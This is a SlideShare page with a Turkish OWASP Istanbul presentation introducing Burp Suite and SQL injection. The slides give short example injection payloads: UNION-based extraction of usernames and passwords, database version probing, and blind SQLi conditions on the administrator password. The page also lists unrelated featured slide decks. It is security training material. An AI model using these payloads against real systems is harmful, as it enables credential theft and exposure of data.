SlideShare a Scribd company logo
1 of 29
@owaspistanbul - rumeysabozdemir@gmail.com
RUMEYSA BOZDEMİR
• Computer Programming - Associate Degree
• Management Information System - Bachelor’s Degree
• ITIL 4 Foundation Certificate in IT Service Management
• ISO27001 LA - CQI|IRCA
• C|EH - EC - Council
• IT Expertise – BEM
• Cyber Security Specialist – TUBITAK
• OWASP Chapter Leaders - Istanbul
@owaspistanbul - rumeysabozdemir@gmail.com
OWASP
• Kar amacı gütmeyen ve yazılım güvenliğini artırmak için çalışan bir
kuruluştur.
• Yaklaşık 20 yıldır hizmet vermektedir.
• Açık kaynak yazılım projeleri
• Yüzlerce yerel bölüm
• On binlerce üye
• Eğitim / Konferans
@owaspistanbul - rumeysabozdemir@gmail.com
OWASP
@owaspistanbul
@rumeysabzdmr
@owaspistanbul - rumeysabozdemir@gmail.com
@owaspistanbul
OWASP INFO
@owaspistanbul - rumeysabozdemir@gmail.com
• Burp Suite Nedir?
• Burp Suite Nasıl Kullanılır?
• SQL Injection Zafiyeti Nedir?
• SQL Injection Zafiyetinin Etkileri Nedir?
• Sql Injectıon Örnekleri
• WHERE ile Gizli Verileri Çekme
• Login Bypass Etme
• UNION Attack ile Sütun Sayısı Döndürme
• UNION Attack ile Metin İçeren Sütun Bulma
• UNION Attack ile Tablodan Veri Çekme
• UNION Attack ile Bir Sütuna Birden Fazla Veri
Çekme
• Oracle Veritabanından Versiyon Öğrenme
• MySQL ve Microsoft Veritabanı ve Versiyon Bilgisini
Çekme
• Oracle Dışındaki Veritabanlarında SQLi Saldırıları
• Oracle Veritabanlarında SQLi Saldırıları
• Koşullu Yanıtlar İle Blind SQLi Zafiyeti
• Koşullu Sorgularda Hataları Yorumlayarak Blind SQLi
Sömürme
OWASP | BURP SUITE NEDİR?
@owaspistanbul - rumeysabozdemir@gmail.com
• JAVA dilinde yazılmıştır.
• Web Proxy uygulamasıdır.
• Web uygulama testlerinde kullanılır.
OWASP | BURP SUITE NASIL KULLANILIR?
@owaspistanbul - rumeysabozdemir@gmail.com
https://portswigger.net/
OWASP | BURP SUITE NASIL KULLANILIR?
@owaspistanbul - rumeysabozdemir@gmail.com
• Uygulama için ihtiyacımız olanlar;
• Burp Suite Community Edition
• https://portswigger.net/burp/communitydownload
• Kali Linux ya da Windows OS
• https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
OWASP | PROXY AYARI
@owaspistanbul - rumeysabozdemir@gmail.com
OWASP | PROXY AYARI
@owaspistanbul - rumeysabozdemir@gmail.com
OWASP | PROXY AYARI
@owaspistanbul - rumeysabozdemir@gmail.com
OWASP | SQL INJECTION ZAFİYETİ
NEDİR?
@owaspistanbul - rumeysabozdemir@gmail.com
• SQL injection (SQLi), bir uygulamanın veritabanı ile iletişimi esnasında
birtakım teknikleri kullanarak sorgulara müdahale etme işlemidir.
• Son kullanıcının görmemesi gereken, bilmemesi gereken ya da
erişmemesi gereken bilgilere erişme durumudur.
OWASP | SQL INJECTION ZAFİYETİNİN
ETKİLERİ NEDİR?
@owaspistanbul - rumeysabozdemir@gmail.com
• İllegal şekilde yayılma,
• Dark Web satış,
• Parola,
• Kredi kartı bilgileri,
• Kişisel veriler,
• Backdoor
OWASP | SQL INJECTION ÖRNEKLERİ
@owaspistanbul - rumeysabozdemir@gmail.com
• Gizli Verileri Çekme
• Uygulama Mantığını Alt Üst Etme
• UNION Saldırıları
• Kullanılan Veritabanını İnceleme
• Blind SQL Injection
OWASP | WHERE İLE GİZLİ VERİLERİ
ÇEKME
@owaspistanbul - rumeysabozdemir@gmail.com
• SQL sorgusu yaparken;
• SELECT, DELETE, UPDATE ve INSERT gibi değerler kullanılır.
• WHERE değeri ile de tablodaki hangi sütundan veri çekilecek ise o
belirtilir ve sorgular istenilen veriye/bilgiye göre şekillendirilir.
ÖRNEK KULLANIM
• SELECT * FROM products WHERE category = ''' AND released = 1
OWASP | LOGIN BYPASS ETME
@owaspistanbul - rumeysabozdemir@gmail.com
• Oturum değişkenlerine müdahale,
• Texboxlara direkt komut yazma,
ÖRNEK KULLANIM
• Or, AND
• =, --
• ‘ , (, / vb.
OWASP | UNION ATTACK İLE SÜTUN
SAYISI DÖNDÜRME
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT NULL, NULL—
• ORDER BY 1--
OWASP | UNION ATTACK İLE METİN
İÇEREN SÜTUN BULMA
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT NULL, ‘bilisimcikiz’, NULL--
OWASP | UNION ATTACK İLE
TABLODAN VERİ ÇEKME
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT username, password FROM users--
OWASP | UNION ATTACK İLE BİR
SÜTUNA BİRDEN FAZLA VERİ ÇEKME
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT NULL, username||'*'||password FROM users--
OWASP | ORACLE VERİTABANINDAN
VERSİYON ÖĞRENME
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT banner, 'bilisimcikiz’ FROM v$version--
OWASP | MYSQL VE MICROSOFT
VERİTABANI VE VERSİYON BİLGİSİNİ
ÇEKME
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT @@version NULL#
OWASP | ORACLE DIŞINDAKİ
VERİTABANLARINDA SQLi
SALDIRILARI
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT username_tqsccf, password_iolsok from
users_jowqzh--
OWASP | ORACLE
VERİTABANLARINDA SQLi
SALDIRILARI
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT PASSWORD_LBIELG, USERNAME_AMLAPI FROM
USERS_MGQWPY--
OWASP | KOŞULLU YANITLAR İLE
BLIND SQLi ZAFİYETİ
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• and (select username from users where username='administrator'
and LENGTH(password)>19)='administrator'--
OWASP | KOŞULLU SORGULARDA
HATALARI YORUMLAYARAK BLIND
SQLi SÖMÜRME
@owaspistanbul - rumeysabozdemir@gmail.com
ÖRNEK KULLANIM
• UNION SELECT CASE WHEN (username='administrator') THEN
to_char(1/0) ELSE NULL END FROM users--
OWASP
@owaspistanbul
@rumeysabzdmr
@owaspistanbul - rumeysabozdemir@gmail.com
@owaspistanbul
OWASP
@owaspistanbul - rumeysabozdemir@gmail.com
KAYNAKLAR
@owaspistanbul - rumeysabozdemir@gmail.com
• https://portswigger.net/burp/communitydownload
• https://portswigger.net/web-security/file-upload

More Related Content

Featured

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by HubspotMarius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTExpeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsPixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfmarketingartwork
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 

Featured (20)

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 

Burp Suite SQL Injection Attack | OWASP Istanbul

  • 2. RUMEYSA BOZDEMİR • Computer Programming - Associate Degree • Management Information System - Bachelor’s Degree • ITIL 4 Foundation Certificate in IT Service Management • ISO27001 LA - CQI|IRCA • C|EH - EC - Council • IT Expertise – BEM • Cyber Security Specialist – TUBITAK • OWASP Chapter Leaders - Istanbul @owaspistanbul - rumeysabozdemir@gmail.com
  • 3. OWASP • Kar amacı gütmeyen ve yazılım güvenliğini artırmak için çalışan bir kuruluştur. • Yaklaşık 20 yıldır hizmet vermektedir. • Açık kaynak yazılım projeleri • Yüzlerce yerel bölüm • On binlerce üye • Eğitim / Konferans @owaspistanbul - rumeysabozdemir@gmail.com
  • 5. OWASP INFO @owaspistanbul - rumeysabozdemir@gmail.com • Burp Suite Nedir? • Burp Suite Nasıl Kullanılır? • SQL Injection Zafiyeti Nedir? • SQL Injection Zafiyetinin Etkileri Nedir? • Sql Injectıon Örnekleri • WHERE ile Gizli Verileri Çekme • Login Bypass Etme • UNION Attack ile Sütun Sayısı Döndürme • UNION Attack ile Metin İçeren Sütun Bulma • UNION Attack ile Tablodan Veri Çekme • UNION Attack ile Bir Sütuna Birden Fazla Veri Çekme • Oracle Veritabanından Versiyon Öğrenme • MySQL ve Microsoft Veritabanı ve Versiyon Bilgisini Çekme • Oracle Dışındaki Veritabanlarında SQLi Saldırıları • Oracle Veritabanlarında SQLi Saldırıları • Koşullu Yanıtlar İle Blind SQLi Zafiyeti • Koşullu Sorgularda Hataları Yorumlayarak Blind SQLi Sömürme
  • 6. OWASP | BURP SUITE NEDİR? @owaspistanbul - rumeysabozdemir@gmail.com • JAVA dilinde yazılmıştır. • Web Proxy uygulamasıdır. • Web uygulama testlerinde kullanılır.
  • 7. OWASP | BURP SUITE NASIL KULLANILIR? @owaspistanbul - rumeysabozdemir@gmail.com https://portswigger.net/
  • 8. OWASP | BURP SUITE NASIL KULLANILIR? @owaspistanbul - rumeysabozdemir@gmail.com • Uygulama için ihtiyacımız olanlar; • Burp Suite Community Edition • https://portswigger.net/burp/communitydownload • Kali Linux ya da Windows OS • https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
  • 9. OWASP | PROXY AYARI @owaspistanbul - rumeysabozdemir@gmail.com
  • 10. OWASP | PROXY AYARI @owaspistanbul - rumeysabozdemir@gmail.com
  • 11. OWASP | PROXY AYARI @owaspistanbul - rumeysabozdemir@gmail.com
  • 12. OWASP | SQL INJECTION ZAFİYETİ NEDİR? @owaspistanbul - rumeysabozdemir@gmail.com • SQL injection (SQLi), bir uygulamanın veritabanı ile iletişimi esnasında birtakım teknikleri kullanarak sorgulara müdahale etme işlemidir. • Son kullanıcının görmemesi gereken, bilmemesi gereken ya da erişmemesi gereken bilgilere erişme durumudur.
  • 13. OWASP | SQL INJECTION ZAFİYETİNİN ETKİLERİ NEDİR? @owaspistanbul - rumeysabozdemir@gmail.com • İllegal şekilde yayılma, • Dark Web satış, • Parola, • Kredi kartı bilgileri, • Kişisel veriler, • Backdoor
  • 14. OWASP | SQL INJECTION ÖRNEKLERİ @owaspistanbul - rumeysabozdemir@gmail.com • Gizli Verileri Çekme • Uygulama Mantığını Alt Üst Etme • UNION Saldırıları • Kullanılan Veritabanını İnceleme • Blind SQL Injection
  • 15. OWASP | WHERE İLE GİZLİ VERİLERİ ÇEKME @owaspistanbul - rumeysabozdemir@gmail.com • SQL sorgusu yaparken; • SELECT, DELETE, UPDATE ve INSERT gibi değerler kullanılır. • WHERE değeri ile de tablodaki hangi sütundan veri çekilecek ise o belirtilir ve sorgular istenilen veriye/bilgiye göre şekillendirilir. ÖRNEK KULLANIM • SELECT * FROM products WHERE category = ''' AND released = 1
  • 16. OWASP | LOGIN BYPASS ETME @owaspistanbul - rumeysabozdemir@gmail.com • Oturum değişkenlerine müdahale, • Texboxlara direkt komut yazma, ÖRNEK KULLANIM • Or, AND • =, -- • ‘ , (, / vb.
  • 17. OWASP | UNION ATTACK İLE SÜTUN SAYISI DÖNDÜRME @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT NULL, NULL— • ORDER BY 1--
  • 18. OWASP | UNION ATTACK İLE METİN İÇEREN SÜTUN BULMA @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT NULL, ‘bilisimcikiz’, NULL--
  • 19. OWASP | UNION ATTACK İLE TABLODAN VERİ ÇEKME @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT username, password FROM users--
  • 20. OWASP | UNION ATTACK İLE BİR SÜTUNA BİRDEN FAZLA VERİ ÇEKME @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT NULL, username||'*'||password FROM users--
  • 21. OWASP | ORACLE VERİTABANINDAN VERSİYON ÖĞRENME @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT banner, 'bilisimcikiz’ FROM v$version--
  • 22. OWASP | MYSQL VE MICROSOFT VERİTABANI VE VERSİYON BİLGİSİNİ ÇEKME @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT @@version NULL#
  • 23. OWASP | ORACLE DIŞINDAKİ VERİTABANLARINDA SQLi SALDIRILARI @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT username_tqsccf, password_iolsok from users_jowqzh--
  • 24. OWASP | ORACLE VERİTABANLARINDA SQLi SALDIRILARI @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT PASSWORD_LBIELG, USERNAME_AMLAPI FROM USERS_MGQWPY--
  • 25. OWASP | KOŞULLU YANITLAR İLE BLIND SQLi ZAFİYETİ @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • and (select username from users where username='administrator' and LENGTH(password)>19)='administrator'--
  • 26. OWASP | KOŞULLU SORGULARDA HATALARI YORUMLAYARAK BLIND SQLi SÖMÜRME @owaspistanbul - rumeysabozdemir@gmail.com ÖRNEK KULLANIM • UNION SELECT CASE WHEN (username='administrator') THEN to_char(1/0) ELSE NULL END FROM users--
  • 29. KAYNAKLAR @owaspistanbul - rumeysabozdemir@gmail.com • https://portswigger.net/burp/communitydownload • https://portswigger.net/web-security/file-upload